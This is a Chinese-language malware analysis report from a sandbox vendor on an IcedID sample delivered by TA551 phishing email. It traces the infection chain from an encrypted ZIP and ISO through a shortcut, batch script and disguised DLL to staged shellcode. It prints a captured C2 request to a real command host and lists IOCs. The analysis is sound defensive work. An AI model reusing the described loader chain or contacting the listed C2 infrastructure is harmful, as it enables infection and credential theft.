一、概述

近日,天穹沙箱发现一个有趣的样本,通过C2关联查询发现其为TA551组织通过恶意邮件分发的IcedID恶意窃密软件(TA551 Malspam: Spread Malicious Email Campaigns - Threatcop)。该样本是一个包含加密ZIP文件的电子邮件,其中密码存放在邮件正文中。解密后,压缩包内包含一个ISO文件,ISO文件中包含一个快捷方式、一个CMD文件、一张图片和一个伪装成图片的DLL文件。该样本的开发者花费了大量心思,通过深度的层层伪装使其极具迷惑性,导致许多沙箱无法正确分析。然而,得益于天穹沙箱多维度的深度检测功能,通过对邮件、压缩包、可执行文件进行全面的分析,我们能够呈现该样本全面完整的攻击手段和过程。

二、样本信息

该样本的基本信息如下:

  • SHA1:1E882F16874455E13429AD9428C7177B5061D3B7
  • 文件名:fd5109923fdd0d6e3bfd7ab764d07cf4.oft
  • 文件类型:oft
  • 文件大小:314KB

三、样本分析

1. 样本投递

天穹沙箱开箱即用,只需将样本拖进投递窗口,等待报告结果即可。

image-20230911113614934

图1 样本投递

2. 静态检测

该样本为一个oft格式的文件,这是由微软开发的Outlook文件模板,通过邮件预览功能,可发现邮件内包含一个加密的zip压缩包,而密码则存储于正文中,如图2所示。

image-20230911143920314

图2 邮件预览

对于许多沙箱系统而言,分析过程通常需要用户手动提供邮件正文中的密钥才能成功解压文件,否则无法进行后续的动态分析。然而,天穹沙箱内置了邮件密钥提取功能,能够从邮件中寻找疑似密钥,并使用这些密钥自动完成附件的解压过程。此外,如果ZIP压缩包内还嵌套了一个ISO文件,天穹沙箱还提供了嵌套压缩包解压功能,能够一并完成解压过程。如图3所示,天穹沙箱具备智能提取密钥并完成嵌套解压的能力,从而实现了高度自动化的分析功能。

image-20230911144433590

图3 自动提取邮件正文密码解密附件

同时,通过压缩包检测功能,可发现该压缩包内包含一个可疑快捷方式,其指向了一个高风险文件matter.cmd

image-20230911145538771

图4 可疑快捷方式

最后,通过查看完全解压文件列表,可发现附件中总共四个文件,分别为一个cmd文件,一个快捷方式,一张png格式的图片和一个伪装为png图片的dll文件,如图5所示,除了png图片外,其余文件经过沙箱鉴定均为高危。

image-20230911145907122

图5 可疑快捷方式

3. 解压文件分析

3.1 静态文件分析

如图6所示,首先分析FILES.lnk文件,因为ISO压缩包对其他文件进行了隐藏,而该快捷方式的图标指向了PhotoViewer.dll。如果受害者主机未开启显示隐藏文件功能,用户只会看到一个无后缀的图标文件。

image-20230911151520057

图6 受害者可见文件

如图7所示,一旦用户点击该快捷方式,隐藏的文件matter.cmd就会立即执行。

image-20230911151012496

图7 快捷方式结构

接下来分析matter.cmd文件,该批处理脚本的关键执行流程如下:

  • 开启延迟环境变量扩展
  • 打开文件eight_state.png,诱骗用户认为自己真的打开了图片文件
  • 利用变量交换功能初始化字符串
  • 拷贝rundll32.exe%temp%\hundred.exe
  • 拷贝reason_complete.png%temp%\mean_block.fair_grand
  • 调用hundred.exe(实际为rundll32)执行dll序号为1的导出函数,即Tjdbhasbs

以下是对此脚本的详细分析,如图8所示:

image-20230911163652123

图8 批处理脚本分析

当然我们也可以通过查看报告中的进程树快速查看脚本执行的shell命令,如图9所示,相较于静态分析,这种方法能节约不少时间:

image-20230911163947529

图9 批处理脚本进程树

3.2 DLL分析

通过前面的分析,我们已知reason_complete.png是一个64位的dll文件,其批处理脚本会加载其导出函数Tjdbhasbs,在分析该函数前,首先注意到DllEntryPoint处插入了大量无用的jmp和mov作为垃圾指令,其作用是干扰调试和拖慢分析时间:

image-20230913142920395
图10 插入大量垃圾指令

导出函数Tjdbhasbs主要执行以下操作:

  • 通过Hash获取两个接口WaitForMultipleObjectsExCreateEventA的地址
  • 调用CreateEventA创建一个事件对象
  • 调用WaitForMultipleObjectsEx等待该事件对象发生变化,如果超时(超时为24.278秒),则返回258,执行if块sub_180001899函数

image-20230913143932221

图11 Tjdbhasbs执行逻辑

sub_180001899主要执行以下操作:

  • 通过Hash获取接口VirtualAlloc的地址
  • 解密加密后的shellcode
  • 执行shellcode

image-20230913145326970

图12 sub_180001899执行逻辑

3.3 Shellcode分析

通过调试发现,此shellcode本质是一个Loader,此时二阶段shellcode以hex加密的形式被加载到内存中:

image-20230913151931095
图13 加密后的二阶段shellcode

随后解密二阶段shellcode,并通过LoadLibrary和GetProcAddress动态加载接口VirtualAllocVirtualProtectGetNativeSystemInfo ,并将解密后的shellcode加载到内存中:

image-20230913153739773
图14 解密后的二阶段shellcode

最后Loader会创建一个线程执行该shellcode,此时shellcode的内存属性为RW:

image-20230913154124290

图15 加载二阶段shellcode

第二段shellcode本质是一个64位的dll,其基本信息如下:

image-20230913154157527
图16 二阶段shellcode基本信息

dll入口函数会执行sub_180002174,在sub_180002174函数中,首先调用rdtsc和sleep函数进行4次延时,解密C2地址,并生成Cookie:

image-20230913161024515

图17 入口函数执行逻辑

Cookie字段包括__gads、_gat、_ga、_u、__io、_gid,在沙箱中捕获的Cookie字段数据如下:

1
Cookie: __gads=1508797464:1:10926:54; _gat=6.1.7601.64; _ga=0.1635.0.1; _u=4C554348414F2D5043:6C756368616F:32413233324139393242414132434239; __io=21_2139909842_4219636214_3132784676; _gid=92AA10A8C1DA

随后dll与C2建立HTTP通信,协议为GET,且报文头包含了Cookie字段数据,在沙箱的联网活动追踪中可看到网络活动:

image-20230913161840820

图18 联网活动追踪

image-20230913162108807

图19 样本网络通信逻辑

请求报文如下:

1
2
3
4
GET / HTTP/1.1
Connection: Keep-Alive
Cookie: __gads=1508797464:1:10926:54; _gat=6.1.7601.64; _ga=0.1635.0.1; _u=4C554348414F2D5043:6C756368616F:32413233324139393242414132434239; __io=21_2139909842_4219636214_3132784676; _gid=92AA10A8C1DA
Host: gromsdaxert.com\r\n

在正常情况下,C2会返回加密后的shellcode,且样本会检测shellcode正确性,但截止发稿时,虽然C2可正常建立连接,但相关服务已关闭,收到请求后固定返回this is a sinkhole.字段,意为这是一个天坑,这可能是因为域名已被安全人员接管。通过使用司南分析发现,该域名在2022年10月曾被解析到165[.]232[.]181[.]177,而后又于2023年5月解析到80[.]78[.]24[.]30:

image-20230919184336919

图20 司南平台域名解析结果

响应报文如下:

1
2
3
4
5
6
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Mon, 11 Sep 2023 03:46:29 GMT
Content-Length: 19

this is a sinkhole.

后续分析发现,在shellcode校验通过后,样本会在c:\ProgramData\TEMP目录下创建子目录,并在子目录中创建文件并写入报文。

image-20230913163542564

图21 保存加密shellcode

随后样本会将C:\ProgramData\下写入的文件加载并解密,获取导入函数地址,修改内存属性后执行三阶段shellcode。由于三阶段shellcode无法下载,因此无法对其进行分析,根据之前的分析,我们猜测三阶段shellcode或许还会有更多有趣的“套娃”操作。

image-20230913164335201

图22 执行三阶段shellcode

最后样本会设置Cookie _s字段,并再次向C2发起GET请求,推测是用于告知C2三阶段shellcode已加载。

image-20230913164955945

图23 设置Cookie _s字段

sub_180002174执行结束后,样本将全局变量dword_180005000设为1,通过分析发现,导出函数DllGetClassObjectDllRegisterServerPluginInitRunObject都会间隔1s检测该变量值,一旦变量为1则退出进程,推测这些接口可能用于开发者调试,方便检测dll是否执行成功。

image-20230913171411721

图24 全局变量检测

四、IOC

1
2
3
4
1E882F16874455E13429AD9428C7177B5061D3B7
http[:]//gromsdaxert[.]com/
80[.]78[.]24[.]30
165[.]232[.]181[.]177

注意:截止发稿时,样本C2仍存活,但相关服务已下线,不排除再次启用。

参考案例链接

天穹沙箱分析报告 (内部访问)

五、 技术支持与反馈

星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们最求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。


天穹沙箱支持模拟14种CPU架构的虚拟机,环境数量50+,全面覆盖PC、服务器、智能终端、IoT设备的主流设备架构形态。在宿主机方面,除了Intel/AMD的x86架构CPU和CentOS操作系统之外,天穹沙箱支持海光、飞腾、鲲鹏等x86、ARM架构国产CPU和银河麒麟、中科方德等信创操作系统。

天穹沙箱系统以云沙箱、引擎输出、数据接口等多种形式服务于公司各个业务部门,包括天眼、终端安全、态势感知、ICG、锡安平台、安服等。

天穹内网地址(使用域账号登录):https://sandbox.qianxin-inc.cn
天穹公网地址(联系我们申请账号):https://sandbox.qianxin.com